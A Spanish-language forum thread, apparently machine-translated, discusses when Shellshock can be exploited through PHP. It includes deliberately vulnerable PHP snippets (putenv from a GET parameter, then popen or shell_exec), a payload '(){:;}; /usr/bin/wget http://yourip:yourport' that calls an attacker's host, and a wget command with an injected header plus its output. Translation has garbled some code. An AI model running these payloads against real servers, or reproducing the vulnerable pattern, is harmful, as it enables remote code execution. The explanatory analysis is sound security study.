Escenario de ataque Shellshock explotando php

PHP solo puede ser explotado en el caso de shellshock usándolo en el modo PHP-CGI debido a la forma en que funciona CGI. Para funciones de PHP como sistema () y exec () no es posible influir en las variables de entorno a menos que las configure usted mismo en PHP. Eso sería entonces en su ejemplo algo así como el sistema ("HTTP_SERVER = evil.example.org / path / to / script");

Si PHP se implementa utilizando mod_php, este escenario es básicamente seguro. Como usted dice, PHP no coloca datos no confiables en las variables de entorno como lo hace CGI.

Si PHP se implementa utilizando CGI (que es una configuración rara), entonces es vulnerable si el script realiza una llamada a bash. Parece que el sistema PHP () usa / bin / sh - en distribuciones de Redhat que tienden a ser bash, aunque no en Debian.

Si una secuencia de comandos establece una variable de entorno utilizando datos no confiables, se vuelve vulnerable. Espero que sea un caso raro, pero es molesto porque te impide decir con certeza que "PHP es seguro".

Dudo que pueda explotarse para php de la misma manera que se explota en CGI.

Si compara la salida de:

$ cat ./testing3.cgi
#!/bin/bash
echo "Content-type: text/plain"
echo
echo
set

A la salida de:

$ cat ./testing.php 
<?php

system('set');

?>

Las variables de entorno leídas en bash son muy diferentes. En particular, no hay HTTP_USER_AGENT, o una entrada similar proporcionada por el usuario al entorno.

Dicho esto, es un error muy feo y creo que puede haber muchas formas inesperadas de explotarlo. Simplemente no creo que el método utilizado para la invocación CGI de bash sea el mismo que para cualquier ángulo posible para la invocación php de bash.

Por mis pruebas, parece posible explotar a través de PHP usando mod_php si ciertas condiciones están presentes.

1. / bin / sh por un enlace simbólico a / bin / bash.
2. La aplicación PHP establecería una variable de entorno a partir de una variable HTTP controlada por el usuario usando putenv ().
3. En algún lugar del script PHP, hay una llamada posterior a una función exec de comando que luego cargará esa variable env (exec (), passthru (), system (), popen (), etc.) ya que se ejecuta en una instancia de shell bash. Esta función del sistema de llamada / comando exec no necesita estar relacionada en absoluto con la configuración de la variable de entorno, siempre que suceda después.

Por ejemplo, aquí hay una forma generalizada de un código que vi hoy que establece una variable de entorno LANGUAGE en función de un parámetro GET no saneado. La llamada popen que agregué al fondo sería el disparador.

function getLang() { if (isset($_GET["lang"]) && !empty($_GET["lang"])) { $lang = $_GET["lang"]; } return $lang; } $language = getLang(); putenv("LANGUAGE=$language"); /** A bunch of irrelevant code **/
$file = popen("/bin/ls", "r"); /** or $result = exec("ls"); or $result = passthru("ls"); etc **/

En este caso, la aplicación configura una variable de entorno utilizando un parámetro GET controlado por el usuario, por lo que un valor para lang como (){:;}; /usr/bin/wget http://yourip:yourport debería intentar un wget en un servidor / puerto de su elección. He visto un código similar que establece variables ENV basadas en valores de cookies y $language=$=COOKIE["lang"] , de modo que manipular ese valor de encabezado también podría provocar la vulnerabilidad.

Obviamente, es realmente una mala práctica establecer cualquier variable basada en datos de usuarios no confiables. En este caso, es la llamada a popen (que se ejecuta en Bash gracias al enlace simbólico) que finalmente ejecutará la carga útil. Probé esto en un entorno Debian después de configurar el enlace simbólico y la carga útil ejecutada correctamente. De acuerdo con lo que dijo hspaans, no puede influir en la configuración de variables de entorno arbitrarias con llamadas a system () o exec (), por lo que el éxito de explotar algo como esto depende completamente del diseño de la aplicación y del entorno en el que se ejecuta.

Aquí hay más información sobre la vulnerabilidad de PHP no CGI: enlace

Este simple archivo PHP ofrece un agujero de seguridad de shell shock:

shock.php

<?php

# in some configurations (CGI) your webserver does the following for you:
foreach ($_ENV as $k => $v) putenv("$k=$v");

# execute something with bash
echo shell_exec("bash -c 'echo hello from bash!'");

Para ejecutar el ataque

wget --header="X-Exploit: () { :; }; echo Hacked" -q -O -  http://127.0.0.1/shock.php

La salida

  

Hackeado

     

hola desde bash!